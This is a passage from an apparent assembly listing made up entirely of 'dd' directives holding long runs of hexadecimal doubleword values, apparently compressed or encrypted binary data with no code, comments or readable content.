dd 362E756h, 44C52202h, 0C0B23FD1h, 3F3EF968h, 0E2397A3Ah
dd 8964E51Eh, 0D007ED88h, 0DE61710Fh, 0EBC134CDh, 78863408h
dd 0AD540403h, 58E180D2h, 63003F5Dh, 0F7A3C1DCh, 4D16724Fh
dd 3A74007Ah, 9805251Dh, 921AACF8h, 0D368B448h, 5F043D38h
dd 0DB9DF184h, 8E09C094h, 0F9607CCh, 999522E0h, 0B83824FFh
dd 2AAB0052h, 27CCDCADh, 1EB52002h, 87CB0840h, 0DEF0D4A0h
dd 1309EEEBh, 0D1A50Fh, 229955F1h, 271E623Ch, 0C2007625h
dd 0A9D852Eh, 586E4C1Fh, 68922A04h, 0B7084FCh, 0B5AAFDA4h
dd 23206ED9h, 937C517Dh, 0D0BC3B00h, 0DCB225E7h, 58814815h
dd 8718B40Ah, 6FEC00FAh, 60E2A6F8h, 81EE1AC1h, 82D08929h
dd 74D900E1h, 32A56750h, 2800E69Bh, 0E3254C1Ch, 37410FA7h
dd 0C336F7FCh, 6DC0D84Fh, 12C0ED2Bh, 0C858FEB9h, 9B70501Eh
dd 9BA40024h, 210866F1h, 2A00CC0Bh, 0A245F3A8h, 0E53373h
dd 858027B5h, 95E28D2Dh, 5A033B70h, 1C9834CBh, 1720181Dh
dd 0D6D14C1Eh, 60AD3F24h, 298034C7h, 129B6445h, 0C07976E4h
dd 0D5AC55EEh, 59DBB700h, 0DF603C5Ch, 0F4A000C0h, 7B17754Ch
dd 9E76FAFFh, 98241C00h, 19AFFB99h, 306C130Ch, 39D14BB5h
dd 0F285D200h, 9192DC9Ch, 0CD56E807h, 49917EB9h, 2D74E175h
dd 0A83E13D2h, 177230BDh, 89031C9Bh, 15774AF7h, 34C7DD79h
dd 0CD70E0EEh, 65A1FCAh, 8333EC0Ch, 0A800BB1Ch, 3E6A3609h
dd 4D3B1B4h, 472520C7h, 0CAC8804Bh, 5F0052DEh, 7941163Dh
dd 0B89CFCFDh, 5A8AB256h, 943AA0E8h, 60F39101h, 0CD37714Dh
dd 2385A28Fh, 3327802Bh, 3C04D03Eh, 0C7017845h, 0DDB119D3h
dd 0E43138E2h, 0D3208BEDh, 81140093h, 234144EFh, 0C10C6D4Bh
dd 5282ABEDh, 0EF7E5439h, 1283605Ah, 0D98E996h, 59DA761Eh
dd 1E4C2DC7h, 0C06631FCh, 4445E166h, 0F4907837h, 1A3B500h
dd 89367704h, 13BB00F8h, 4FF5FB87h, 0AF17CD4Ah, 0E34CF1CFh
dd 3249B6h, 0A64EE275h, 26CEDAABh, 5D5A2B09h, 22010BDCh
dd 0A3B1FC61h, 0AB6F0684h, 673D0B59h, 6D80B218h, 58CB1C0Ah
dd 0F1DD272Eh, 4FF4E283h, 0B2BAD848h, 0E4563FD2h, 7376FD8Eh
dd 0C570AFA0h, 267D8384h, 0A7D4AB01h, 2ECB59C6h, 0D5F58180h
dd 4E3F3AB9h, 0B3B63207h, 1D20BCC2h, 292CD7h, 21C65A4Bh
dd 600C8C22h, 0DC106101h, 5D02F838h, 2605D530h, 1F4C7879h
dd 1360C00Dh, 4A4DE884h, 8934E400h, 9C5EF9B6h, 0ED2BC02Fh
dd 0A0D5D053h, 8CB46800h, 963C70ACh, 189B5E0Ah, 0ADFDCC98h
dd 8059EB28h, 18BEF918h, 8FFC64h, 0E1C0BB3Fh, 4742E534h
dd 0D95A3600h, 0C4F6ADDAh, 0A7CE0007h, 12A9742Bh, 7207FCBCh
dd 0AFC8345Dh, 0EDE88BE0h, 60E3757Ah, 9C1B1BCDh, 4BBAAA36h
dd 0A955E700h, 27613DA8h, 0B522C073h, 455764CAh, 0CBB8B900h
dd 0AF752AE0h, 488FBA04h, 9400038Ch, 1876E1ABh, 0A5179BA1h
dd 8240C83Ah, 0A92E959Ch, 486800CEh, 526D4D2Fh, 86061D88h
dd 9BD99FEFh, 98E70022h, 30A2A432h, 360034E0h, 0FAA5DE49h
dd 2173E5Fh, 7201A959h, 59599D26h, 0DCE17103h, 0B1B2906Eh
dd 0E48E3C22h, 0A8174983h, 71B9E380h, 0EA8B7038h, 0C963F703h
dd 0C1504161h, 20D43E31h, 650E008Ah, 0E383116Eh, 0E51777EEh
dd 8730485Eh, 5AFDFAh, 0F0AA943h, 0A27635A7h, 93020100h
dd 6BF3681Eh, 0B9F600CBh, 5C208FF8h, 7E000AA0h, 15918122h
dd 59E69714h, 707468h, 85DA41EFh, 494E5FCh, 0B787F13h
dd 0C86A3733h, 39F6720Eh, 47CC82F3h, 0CA80063Dh, 55EA86F7h
dd 6B043976h, 0B9BFCCC9h, 7D7C2582h, 1B4EE946h, 0F22B62CDh
dd 0BB53E0A1h, 0F51000BFh
dd 8452B842h, 14FC355h, 68C28BF2h, 4DD722EAh, 5550006Eh
dd 0D70692BDh, 40FE2F5Eh, 8438F89h, 45E77381h, 0A92DFB0Fh
dd 0F094B96Bh, 5886E95Ch, 0DF01ACE1h, 9C6EB8C4h, 0C536604Ah
dd 0AA7DE0F4h, 2D719B00h, 0E55EB5DAh, 34F045h, 5B75FD35h
dd 1DC541F9h, 0F8911518h, 92B150h, 25FBAF3Bh, 0B9D6307Fh
dd 0A46D5600h, 0FC9C0240h, 0E86A1866h, 0BE019111h, 99423000h
dd 7271BFDFh, 0F25C1C7Dh, 163EC069h, 47BA6680h, 0F58ED06h
dd 0EC390987h, 69183h, 81D68B66h, 6D621CC0h, 27028D1Fh
dd 0FF3310B1h, 13C00BE8h, 0FD65BCD9h, 2E6F8B7h, 0B44DCC72h
dd 0D38159F5h, 9800F38h, 0B5B77E89h, 2CEC81FDh, 70981308h
dd 0FA8912C8h, 0F3DE5250h, 62D1E501h, 8E95163h, 0CE363F80h
dd 7310E141h, 5A67C60Ch, 0C0606289h, 8093AF58h, 614FA8F5h
dd 70F08A0h, 0FF81F7B7h, 3C7DEE78h, 0E60F85ADh, 0C0DE8B4Fh
dd 6C9ABDC9h, 16073CD9h, 9C862367h, 9E420681h, 76BDF9F0h
dd 9A08C7C1h, 953D8016h, 4333065Ch, 0A04021A3h, 0C08DE6BFh
dd 0A621A11h, 74501DC9h, 7F19E91Ch, 0EC1148C1h, 70A3B2E4h
dd 80BE60E7h, 935CADE3h, 7991E960h, 30718DB7h, 0F910C57Ch
dd 2A105A63h, 0F9FBB60h, 727BEFh, 218DFF22h, 8E741D68h
dd 64035874h, 126BA19Ah, 5E2001AEh, 0F67BAAD7h, 8A1080A3h
dd 0A1783B42h, 0FCEB306Fh, 86E8972Ch, 23D7D300h, 846A62A9h
dd 64110F42h, 0BC87BFC1h, 498C897Fh, 70A0C210h, 4FE22946h
dd 9D1C0707h, 0DAD375E0h, 936803A8h, 60E2AE19h, 3097B83Dh
dd 0C03EC0B2h, 0F45D07CCh, 310AA196h, 50FEEDA3h, 0AE428080h
dd 19687960h, 3C787ACh, 5A827762h, 19005192h, 9609D89Ch
dd 0EF46061Fh, 0A3AC050h, 0BB720092h, 0DB3ED797h, 640CD04Ch
dd 61FB938Dh, 667DE3h, 9946E865h, 0B506780Ah, 0F460558h
dd 0E0C2A397h, 875673E0h, 66EB2A8Eh, 0C8F91CD4h, 0F855801Dh
dd 0AA7C53D3h, 0F5E880F9h, 89B0CC4h, 0EF29Dh, 24EC783Dh
dd 0FF27A72h, 0BCAA7B3Bh, 9E800312h, 0F8CD090Dh, 836C14h
dd 9808A904h, 8278229Bh, 767423E0h, 70B20B1Fh, 5809EE85h
dd 1F80F81Ch, 75AC9986h, 207CABh, 13F1AA3Ch, 26247C3Fh
dd 38967B29h, 0C37D4D43h, 957CC221h, 81560E18h, 16E5E9Eh
dd 0D30913EEh, 0A03DCC94h, 589B2607h, 56C09A7Dh, 61AB0BA1h
dd 21C5283Eh, 40B4E0A3h, 0A98F8605h, 6803975Ah, 0C11CC3FAh
dd 39A00AEFh, 4905798h, 89628CDFh, 90F9510h, 56F7C3h, 0EF8BEDB8h
dd 58710006h, 6AA5C1E2h, 0AB1841A4h, 88308D70h, 3B1188Fh
dd 0E60D1868h, 0F351900Ch, 30E1167h, 91EC0B86h, 128AAA3Ah
dd 406196C1h, 25D8C72Ch, 46FEC94Ch, 88BB340Ch, 0E5760C77h
dd 0ED4E0630h, 58AB0791h, 3CC1EB28h, 91999F2h, 0FB405619h
dd 0E8830EFDh, 0AFD8C81Bh, 7725590Ah, 0FB857899h, 58040D0Ch
dd 0E23BA7C8h, 0F9B09D40h, 0EC584EB5h, 0F7598765h, 0F64F0FCh
dd 3A9012B3h, 0CC201309h, 0D0A9F193h, 338E28C0h, 143FE654h
dd 0C518B32h, 8C860B04h, 0E5E49363h, 0CF3055E0h, 0CBF24203h
dd 0A073C4A5h, 0C1F94912h, 0C179B19h, 0C6FC2437h, 6E695500h
dd 4B8B7103h, 0BEF05F0h, 735BF4Dh, 8461080Ch, 0EA14D36Bh
dd 0B102F1E3h, 95C07F0Dh, 11649D8Bh, 0B5CB0224h, 0A88FEDC4h
dd 0BF10BC8Ch, 191EB82h, 9823B890h, 978B80C1h, 0F050DB61h
dd 0A6EC3F86h, 0E0A050F8h, 5C964C76h, 48F04A11h, 0FEF72248h
dd 0D9851861h, 0FD49C0B2h, 8CC7DE29h, 0E4463811h, 6831ECA0h
dd 0B2FDC1ECh, 130B9869h, 16F99021h, 106441AFh, 855C010Bh
dd 0B8927651h, 85588830h, 0A364B03Fh, 0C723EC64h, 0A9420B5h
dd 40547601h, 0B52451E0h, 6A640C82h, 0E680914Ah, 0C8C99DFh
dd 8CDD6928h, 0B84EB716h, 549C042Ah, 0ABCC88EBh, 9B5025E0h
dd 564423F4h, 12812875h, 49B17E48h, 247F603Bh, 64283EF4h
dd 0A3805014h, 0C994698h, 8C3D3214h, 0EC4B6D04h, 0B20CCFEFh
dd 8E02157Fh, 465C6535h, 766C44A8h, 0E76880AEh, 0CDC00C99h
dd 4942CEFEh, 23AA9CB8h, 4743D442h, 9F0BB164h, 600D21A0h
dd 0F73B5013h, 8141749h, 0ACC308CFh, 0C5A44374h, 0DF506157h
dd 0C86A50E1h, 67BF6619h, 0A84D2E51h, 2F1881BEh, 0F1827946h
dd 0D6AD8A4h, 0E3D95821h, 9FB94C57h, 0AF11EF2Ch, 0A0DF2F88h
dd 66C530ECh, 42AF1E10h, 0C1ED1A02h, 0CAD1610Bh, 0F17882A0h
dd 11DC0ACDh, 8D2065Bh, 3186B15h, 96F212FDh, 701FEAD9h
dd 2022D381h, 9C816822h, 988112BBh, 2384D03Ch, 75C35487h
dd 0C82DE440h, 0C8E09366h, 8ED8AA8Dh, 3F6F1F3Ch, 2DC26311h
dd 70F30059h, 3A00BEE7h, 4BAFFE7Bh, 3EBF0CCAh, 0C1074124h
dd 0C2F19855h, 1485974Ch, 0CC51C1F9h, 56247005h, 995CEAECh
dd 71E44720h, 11546948h, 27006BD1h, 0E9FE9FE6h, 3B24BDC8h
dd 9031C477h, 99004485h, 575420F1h, 232647ECh, 108D49Fh
dd 327C8162h, 4EBF1BABh, 0F7EF1120h, 7227C680h, 0A5E07A0Dh
dd 0E54CEA03h, 325961h, 99C14AA8h, 0B242C817h, 0C4B90AE8h
dd 61EFEB01h, 9421D1CDh, 189652D4h, 21402E6Dh, 1AEA2607h
dd 582BB702h, 0E472BA60h, 0E0D672C8h, 0AA0C00D7h, 969346C6h
dd 8B1210F1h, 0B800CA14h, 0F57760D2h, 0F0DC9262h, 440D00FFh
dd 48FBE61Dh, 0DC00B6D0h, 6B998D9h, 3063817Eh, 5DD03C5Eh
dd 0F0C0582Dh, 9B9E41Dh, 0EB44B0FFh, 86ED5421h, 0DEEA3A00h
dd 0F5608F63h, 74690761h, 906614B2h, 0ED72F6C0h, 9AA6207h
dd 8664BDCDh, 80F0A492h, 0A110E4Ch, 0EC680035h, 62D7F4Eh
dd 0CB0FAE99h, 749647ABh, 5F8F008Fh, 0E62AA552h, 196128B9h
dd 0D87605A8h, 91115044h, 29F5EB4Ch, 19AC008Ch, 0E7933582h
dd 0DBCB07A9h, 71588867h, 54520465h, 8080C4F8h, 3F2F2224h
dd 0B92BBCA8h, 0C4AFCB00h, 8C932D24h, 602C74B4h, 0C1012133h
dd 0DA00BACBh, 22BD7527h, 73D45D60h, 450530C3h, 7D17058h
dd 53C71305h, 1A80AD2Eh, 162C748Ch, 10341CCh, 0F0C40BC8h
dd 70B1808Bh, 0E62931E8h, 0CD41598h, 3B30F017h, 31F5D321h
dd 269CAE00h, 0A790645h, 2A123C8Eh, 0D9937202h, 0CC8083B1h
dd 30915921h, 950C1F90h, 1869B5B9h, 0F1EC1B64h, 23A0F98Bh
dd 78004BFCh, 0CD3E9CDh, 36BD740h, 17F5C41Ah, 69E00B51h
dd 0A898E124h, 1B0BF00h, 7D5457CCh, 33820094h, 0C5B75902h
dd 0AD0068A0h, 0A958BCECh, 585B3EC6h, 70425984h, 2031F307h
dd 32D704E6h, 0FCD02074h, 30006331h, 0B08D19B1h, 2AF84815h
dd 1BC4405h, 0C010B3C3h, 0C8F6A8EAh, 8800280Ah, 17DB2704h
dd 0C0739413h, 429E8C28h, 9800848Eh, 9D4A6020h, 0B8505158h
dd 0C4A328CDh, 12E4EEC4h, 9E0A3Ch, 15668A00h, 0E512FB28h
dd 30457DB1h, 14910C93h, 88C9688h, 0FEB187F0h, 65D0FB00h
dd 8AF32813h, 3E5F776Eh, 850CB524h, 0AA299296h, 0A048547Ch
dd 0FD409DD8h, 3A9D58BAh, 9F260FC8h, 0B44085ECh, 0C708E9F3h
dd 4CEFD201h, 0DD933F73h, 0B3B024h, 0E7A01E41h, 0A80C76F1h
dd 0DCAE2D01h, 0B6932501h, 0AE4F0h, 8CA92116h, 0C46C4346h
dd 3F8D5514h, 1FE899F8h, 16027426h, 1CC4B6CCh, 2103131h
dd 1902CBBEh, 0BB0DC984h, 50F06BF5h, 0D1F19C48h, 280790E4h
dd 0B0164EB1h, 8D775F82h, 0E460409Ah, 4E9952C1h, 0CFD40041h
dd 5885DCC2h, 77521464h, 3030F24Ch, 0CEC6DEEh, 5B6168B4h
dd 0D0E05572h
dd 78E52958h, 8EA17A4h, 69813BCCh, 0BCE4DBDEh, 0CCFCFCh
dd 0CF01CA15h, 0E5F5342Dh, 0C461D4A8h, 0AB598560h, 14E2501Eh
dd 0DC6D9FFCh, 0F6FD9300h, 4AA920C2h, 0F54CF83Fh, 0A3B14300h
dd 9991F041h, 0B038h, 587B5DDDh, 0C021FBDh, 0A0A5C326h
dd 0F53060A8h, 0A34AC18Eh, 5870F011h, 0D6068296h, 211AF437h
dd 18FDB881h, 0BA4E08B5h, 0F373A295h, 0DC96909Dh, 0D8173E06h
dd 4C8965A8h, 708190F0h, 0D072943Fh, 71051EB8h, 0F5EF7746h
dd 9879F4C8h, 352500ACh, 4AF2B3FEh, 0FD02C2EEh, 155DC4B5h
dd 202C4089h, 0EC3A2599h, 0E2338020h, 0E0C5678Dh, 2820AAE9h
dd 7991AF0h, 18F8023h, 87FCF140h, 913C31E4h, 9F82FBE0h
dd 64CAC04Eh, 40E67024h, 154EA748h, 71930244h, 263732A4h
dd 60FC94A4h, 23BD4EB6h, 0E511AA95h, 4E9E4D0Fh, 0F4CBDC0h
dd 42078AA3h, 0CF340548h, 0F5619850h, 28E4A13Ah, 8B25CC62h
dd 6FA45882h, 0F8EE1048h, 6C672000h, 10FB3EDBh, 0B7FD2494h
dd 0BAEB835Ch, 55D8A086h, 560EA87Ah, 80AD9074h, 0D1E68F6Fh
dd 24E0B0B7h, 40681B3Ah, 0ED73E372h, 0C0006091h, 0D2E9EB9Dh
dd 2D4A0066h, 0F00E846Dh, 88BAA961h, 88E42898h, 0B0F88D44h
dd 0E5172E0Ch, 0F23A4138h, 85618211h, 41A40319h, 0C7840BCh
dd 9FB750C0h, 8492E458h, 21422F30h, 1A2903CAh, 0B04CDE12h
dd 62973460h, 3AE9C462h, 8A3080F7h, 4E8E5C5h, 8FEB9F04h
dd 0D6834318h, 0EF1EC817h, 368C0063h, 0E42A73B2h, 0C9048F4Eh
dd 6C1DE193h, 2CEB14E0h, 82403069h, 2FEDB06Fh, 0FABCC85h
dd 0E4001390h, 0C7295C6Bh, 643F2504h, 4C805F89h, 20C06048h
dd 0BB060907h, 68B9D995h, 14C24859h, 0B201F023h, 8A95B94Eh
dd 5188DF18h, 0D04E019Ah, 906713C0h, 601980DCh, 0F15AA892h
dd 0D86CC0BAh, 0CAFAE963h, 0F4523D00h, 2D05E294h, 0F755FE95h
dd 8F9680BDh, 3B2812DBh, 1CE523A4h, 281A00DCh, 0B75A6335h
dd 65F54014h, 0B60283FCh, 489888C8h, 0FCD4025Eh, 63CC89EFh
dd 6B21440h, 120CC35Ch, 0F09C8339h, 49E40B4Bh, 0A880E005h
dd 1C389013h, 58FA58h, 4717A6C5h, 0FE8DC2F5h, 447B045Fh
dd 0A3A2F608h, 600580Ch, 0E0560999h, 82A32710h, 0B9CF7CA0h
dd 0C7765403h, 287DEA00h, 0BADE2480h, 28101B1h, 318CA8E9h
dd 85B030F1h, 0B1F877Ah, 0C60B5B28h, 4A3080A2h, 0EDB7046h
dd 75384555h, 0B199EAE1h, 91E08665h, 38A0E7Ch, 86A059Ch
dd 3DE0B09Eh, 1494A1B8h, 0C8846313h, 458064DEh, 84E30D4Dh
dd 7F20700Bh, 0F988093h, 9495D5Ah, 32C7B71Dh, 98214885h
dd 0CB08BC6Ch, 0C40CC4B0h, 0BF3E5C27h, 135180CBh, 0A69AC946h
dd 0E8277FCh, 16BBCDEFh, 0E05C8184h, 4C05E5ACh, 0BF24940Eh
dd 830234A3h, 3889F244h, 8F9040C8h, 9C58790Eh, 668066C6h
dd 0C10F0991h, 0A8003799h, 0E02369ECh, 6F009C9Ch, 490C20BFh
dd 584BAE1h, 0FB583C9Bh, 8A203CC1h, 2F18AC46h, 9E63D945h
dd 37CC2900h, 7102C7D0h, 0C9998F5h, 0B1467EB8h, 8820F098h
dd 7066030Bh, 0F7F8229Eh, 3361F079h, 63AB5C8h, 107A3079h
dd 3B6DD9BAh, 0B5BD938Ch, 1B0D9C40h, 60BF2BCBh, 458B810Ch
dd 0D0268F5Dh, 7071C82h, 8D0096BAh, 39BD7A2h, 0E194197Fh
dd 51007D2Dh, 1C81A32h, 99101786h, 60210090h, 0A28C853Fh
dd 429CBE00h, 1CE41E82h, 8D0C05EBh, 949605C4h, 0D64818Ch
dd 0E08E0281h, 883E2F54h, 0D0074D7Ah, 0F4AAFFE5h, 69C024C4h
dd 0FA58DFh, 766263B3h, 0F7A8FE8Dh, 3B96C704h, 409069F4h
dd 4E2393h, 0D7120E42h, 344E916h, 74F56300h, 10FFFAF7h
dd 0BC601E0Ch, 0EC51075Dh, 2BB9A03Ah, 0EF07CB5Fh, 64874F2h
dd 147315C5h, 0EAA6C75Bh, 0CE420F30h, 0CB84F656h, 0F5F34035h
dd 605366h, 0B00159EEh, 4DF7A70Eh, 8368BF3Eh, 4758F317h
dd 1874AAh, 0CD6EEE57h, 568C253h, 2880546Ch, 527307A4h
dd 404AF9ECh, 4743C15Ah, 5D2BBF06h, 18315ECBh, 5949BD06h
dd 4CE3E944h, 84A4BA0Ch, 15DF000h, 4845FA63h, 73C10054h
dd 66F105F7h, 29DDB9CCh, 0D42C8F04h, 0C0DA4583h, 0C07792B6h
dd 0C6E2BF49h, 64303A19h, 917B31BDh, 0F22C07E8h, 0E2CBD643h
dd 75C39EB9h, 0A178B6F8h, 0DCC7C800h, 0EE7C212Fh, 949903BBh
dd 0DAD72711h, 263C0CE0h, 8EE3E000h, 91B738B6h, 3F71C0AFh
dd 85B51D16h, 3BE2E102h, 0E03CDCF7h, 69962C1Eh, 9600A0E7h
dd 0BBB9C91h, 0C36336F4h, 28C14E98h, 201839A1h, 68C8DB0Fh
dd 10131B46h, 804D6829h, 0EF70FE00h, 613BDDDCh, 62955996h
dd 8DF11BAh, 0E20DD401h, 4C0340ABh, 3800D596h, 0F2457F7h
dd 0E916E187h, 104F3188h, 83A87614h, 18E4A0D9h, 592B4E30h
dd 6D018130h, 0D943F1A9h, 7880C042h, 201AA0D8h, 0D0A0BC21h
dd 438693CBh, 18421182h, 499839Fh, 30188E59h, 0C2B9E37Fh
dd 8C803089h, 0AFBA9268h, 643EB41Dh, 6067A468h, 165A4F1h
dd 1F78DC50h, 0C85DFD4Fh, 1FD23070h, 0F18C511h, 584C052Dh
dd 0E58019Eh, 82D8E287h, 14917E91h, 2F184241h, 31B8B88h
dd 191C9A58h, 0D1177630h, 434C52DBh, 0C1158A5h, 839117E8h
dd 0AE929306h, 0F839DAD6h, 812E1418h, 0E68FA46Ah, 0D4E4AC90h
dd 0B8F67490h, 67288821h, 3B8848B2h, 10435665h, 0D566A608h
dd 84B4506Ch, 85B8B342h, 0D7EB1084h, 760EF8B9h, 7B428E16h
dd 16502323h, 2250AC49h, 1B461D51h, 0D6B1C6A0h, 281F508Eh
dd 0FE428D93h, 6E2214BDh, 63CB3E1Ch, 0B0EAE143h, 1F77210Ah
dd 56F92183h, 69280CA2h, 5C04094Eh, 926CD18Dh, 0CC21BA78h
dd 0A06A8960h, 805F1834h, 38CA80Fh, 0EAD2137Dh, 668C2211h
dd 0A3001008h, 0AA13356Dh, 1458CC34h, 9C02919h, 8DFF2512h
dd 9238C6ABh, 8304797Dh, 2A91B46Dh, 2911A4D6h, 8D4CB092h
dd 20C12E96h, 7E192F98h, 0A4D1B1E1h, 752B3832h, 0F3609E3Ch
dd 1104CA40h, 4957340h, 484EE888h, 81CADCB5h, 71414CA8h
dd 56581702h, 7C02DD9h, 5BE90188h, 0B4C1ECCCh, 0F0ED5300h
dd 0EC1A0169h, 1D5DE83Fh, 0C00C4AEBh, 0B16058C5h, 0FF766FD9h
dd 51422D0Fh, 52B5A0EDh, 1669E857h, 0FF60646h, 1BBD1FF4h
dd 115828EAh, 16523E10h, 0FC0074E9h, 0F051B4A6h, 46590FECh
dd 17C060h, 0CE69EE04h, 56F0BF58h, 5E05ED78h, 9BF45A48h
dd 0ADB9EC8Ch, 9B407D04h, 9073BFF4h, 0A2C239B4h, 15F1678Ah
dd 0E6755018h, 0E2B811C7h, 0CC00B15h, 193F5FFh, 0F66FB5F0h
dd 80152612h, 27913118h, 943F38Fh, 115767EEh, 8C993CA0h
dd 8B0C749h, 1EE6E80Fh, 884602A6h, 0EB97000Ah, 0B44A7B89h
dd 45117830h, 76C0703h, 0D0D8F29Bh, 96A51A3Fh, 0CCB887F8h
dd 7A5CCF02h, 53318B51h, 49A61B4h, 181834Ah, 795F6BAh
dd 0F7D85CD9h, 4D89490Dh, 9C79BC20h, 581567F5h, 3D7C5426h
dd 4CA3878Fh, 0D858AC28h, 2B2E892Eh, 0FC029860h, 0C082974Ah
dd 0A0DF870h, 3409CBCFh, 0A28C0C8Ch, 4E049668h, 0EA8E187h
dd 7EFE84A4h, 0E240C016h, 6437697Ch, 0FD1EE701h, 3DF8394Ah
dd 0D448A2E1h, 8CF1523Bh, 0F344C38Fh, 0C3A07855h, 24858080h
dd 0F20EBBE9h, 0EF010044h, 0AD7C4E42h, 9C6375B3h, 34D21800h
dd 0D9E42743h, 0BB7FCE7Fh, 48E889DCh, 8608F762h, 78284C14h
dd 5C6491CEh, 65497E6Eh, 9C801117h, 7712E06h, 0EE66292Dh
dd 85F2A554h, 0EA3B802Dh, 37765BFh, 3A5CE83Ch, 0CB785863h
dd 4B5003F8h, 0DF4E8F51h
dd 45D31903h, 66FAA0E7h, 2B590102h, 32D7C97Ch, 0A9444811h
dd 6ADA0D01h, 374767E5h, 0A710458h, 0E63205A3h, 108680Ch
dd 51F757D8h, 746014E0h, 0B163D3DAh, 3C089F78h, 923E8678h
dd 11E210D8h, 4E9C13BDh, 155E3111h, 0E2D0C48Ah, 0D041652h
dd 0E1112A4Fh, 603103Ah, 0C81028A5h, 895C0F40h, 0E35C4D58h
dd 8E272C4h, 834E1370h, 0DBC4DE90h, 4F15B09Ch, 0C3CBB9Fh
dd 0D10B4D1h, 0DA50008Ah, 0D055EB99h, 0D9341818h, 29D41E49h
dd 0ACA6A5E0h, 64440965h, 122E895Fh, 4D602461h, 7449CBh
dd 2C19CC2Dh, 36892709h, 28242912h, 1680334Fh, 0CE8FF3CAh
dd 1E9C80Ah, 0D8CFCD2h, 0A50FB8DBh, 2EA0B484h, 0A03BA204h
dd 6611E608h, 0E87EE85Ah, 1F0D7891h, 1443B9E7h, 933BD8B6h
dd 780F1F00h, 68E65765h, 80361E8h, 0D396691h, 0A331A3F9h
dd 0E0E9C37Fh, 741CB211h, 40566044h, 0EBF438Ah, 0BD65631Ch
dd 489A9D52h, 0FF04D0FFh, 14ADB4EAh, 0E8A4A680h, 0AA19A1F6h
dd 391955FEh, 0BCE0384Ah, 8F104873h, 0FD03149Dh, 0FF8D476Eh
dd 6F020910h, 0A50E4840h, 5857FD04h, 3000DD8Fh, 47794643h
dd 379A3BBCh, 5221BBE1h, 3895164Fh, 80A68B60h, 18500EFFh
dd 66C3C440h, 180011E9h, 5D5AE078h, 3E450DB3h, 1C503132h
dd 2C7F803h, 55A37E95h, 2891152Dh, 0E49C7A1Ah, 561F0CD5h
dd 752814CFh, 8B0185Eh, 8CF8D1h, 0B2EDA4C8h, 0EE22A738h
dd 0EC14D90Eh, 0E75B40E9h, 6FD502h, 73A65CCCh, 9B0DFA48h
dd 0E80036E8h, 0EC930169h, 52543Fh, 0BA2574F2h, 0F005689Fh
dd 1A9C11Dh, 0F758F307h, 2414C820h, 0C42F859h, 43F10605h
dd 4900C040h, 38F43652h, 54EE5BCCh, 0F584015h, 62CD4ABFh
dd 5663D043h, 60161F0h, 30AAED29h, 56EA9830h, 1C7353C2h
dd 54053D04h, 0CFBA01F1h, 0C0E5CC65h, 0A492EAD0h, 0DCE5B760h
dd 887E5651h, 880789A4h, 4767C00Dh, 0EBC518BAh, 5EA420FEh
dd 0A70502A9h, 14C26247h, 0EFCC2C60h, 7074ECh, 668B02F2h
dd 9AA2A9FEh, 385453h, 41D0AABBh, 0A5D06FEh, 61E85FCBh
dd 40385214h, 0FF009B11h, 4E24CD2Bh, 0E9056FEEh, 0F85065F5h
dd 2F67475Bh, 70598533h, 0A0925057h, 0F8F2A900h, 0F6EBA6D4h
dd 42141EA1h, 5D49C9F3h, 0E9730882h, 0FFCD3460h, 98EF79h
dd 0D060C2F8h, 47B50D28h, 98C34803h, 6EEEEC00h, 58AAA794h
dd 0F352480Eh, 0A9F08274h, 31A840B3h, 999A7842h, 888A8020h
dd 0CD3FF1FFh, 64ECEB48h, 748CEF50h, 34A91A87h, 177D9042h
dd 8B005D04h, 5BEB5A97h, 2E050ECBh, 0E8C956A4h, 48989655h
dd 460358F3h, 5457BF36h, 0A2083Ch, 574F98Ah, 0F0A1ECF3h
dd 62E83151h, 3043C040h, 45002DC0h, 0B4C15CCEh, 0E9BC545Dh
dd 78C10A8h, 59EDB160h, 58EBC1E9h, 6FBFCC47h, 9DE85278h
dd 0B01FF0h, 0F04E480Ch, 64C31069h, 87ED605Ch, 5258BCB0h
dd 744AF4E2h, 703CD8ACh, 65C61F07h, 0C8EE4651h, 4AA41A3Ch
dd 606BD4ADh, 0A04D94F6h, 0A32A3031h, 28F5EFD0h, 563C5EF8h
dd 5CB53C36h, 6F2BC7D4h, 752D5BD1h, 11016063h, 0FB053C2Fh
dd 67860ECh, 0B873C024h, 0B01E57C9h, 464AF578h, 17484BCh
dd 0CC73BD57h, 0F368E919h, 5266301Fh, 72FF4035h, 35FF0C70h
dd 8B81FD48h, 44F258E7h, 5CCC460h, 0EB550362h, 0B4E49C74h
dd 0C5CF726h, 98803B65h, 1D0244C2h, 3C73C15Dh, 2874E918h
dd 20D349BCh, 86F0C449h, 2C090508h, 29C45447h, 0DC8249E4h
dd 0C0C849C2h, 542EC97Eh, 50720C1h, 64F44EFh, 3E6874ECh
dd 630565C3h, 0C94766F9h, 42902C20h, 1C5A922Ch, 0B0415D80h
dd 652C30BFh, 1FF8EE67h, 8BE966D3h, 0AB0E6BCh, 8FC9832Bh
dd 50016918h, 7DBB9B6Eh, 2BABE0Ch, 0AB0D97CEh, 1684D945h
dd 0CC17EA11h, 7C3CAC39h, 0EFF11842h, 52C860E9h, 74F35605h
dd 683B05CCh, 9301ABC0h, 522C44F5h, 0CC0BD85Bh, 2164AF89h
dd 590374F9h, 0CD969068h, 5083FEF8h, 0F4B0D02Eh, 4D17D42Dh
dd 2004EEEDh, 0D1BAF5EFh, 3C5E74F0h, 0ACE84B44h, 3CE91989h
dd 9FD468F3h, 6907FF5Dh, 58C35421h, 28DDA748h, 0B8AA7060h
dd 2E70E28Ch, 1904DF8h, 0B4D08A25h, 10BF221h, 0CD5DF450h
dd 62012185h, 638BC3C1h, 53CB57A0h, 584B80BAh, 0F3BFC863h
dd 0A2680144h, 0EB5A8999h, 84804570h, 80342EE8h, 5D0146CFh
dd 0E850BEC1h, 0CF815D68h, 0ECF2CB60h, 8297907Dh, 0F08035E4h
dd 379DFD46h, 0DCBFDDE9h, 2D7BEFCBh, 2154CE30h, 68C559h
dd 69F25A48h, 0B5EB56CDh, 163A309Ch, 0E0D1F002h, 8038470Dh
dd 2D243843h, 93035F10h, 0C1486FC1h, 0E9D073A2h, 283A60F0h
dd 19EDA4CEh, 1C46D224h, 530CDC20h, 2061F057h, 526D07F2h
dd 4E3AE8EDh, 0E15BEEA4h, 14E077B8h, 28C42614h, 8C848099h
dd 30B10727h, 3CD5FF8h, 0F6B5F153h, 8814EEEFh, 2DCC2F3h
dd 0CCD22DF0h, 0CBD88353h, 4CA8C44Dh, 562F213h, 1A12F04h
dd 14AE880h, 0F77DE40Eh, 5369B0A1h, 6004B4F0h, 572665A3h
dd 86CCCDBAh, 4B5F428h, 0C8B45018h, 584A52F0h, 162DDC53h
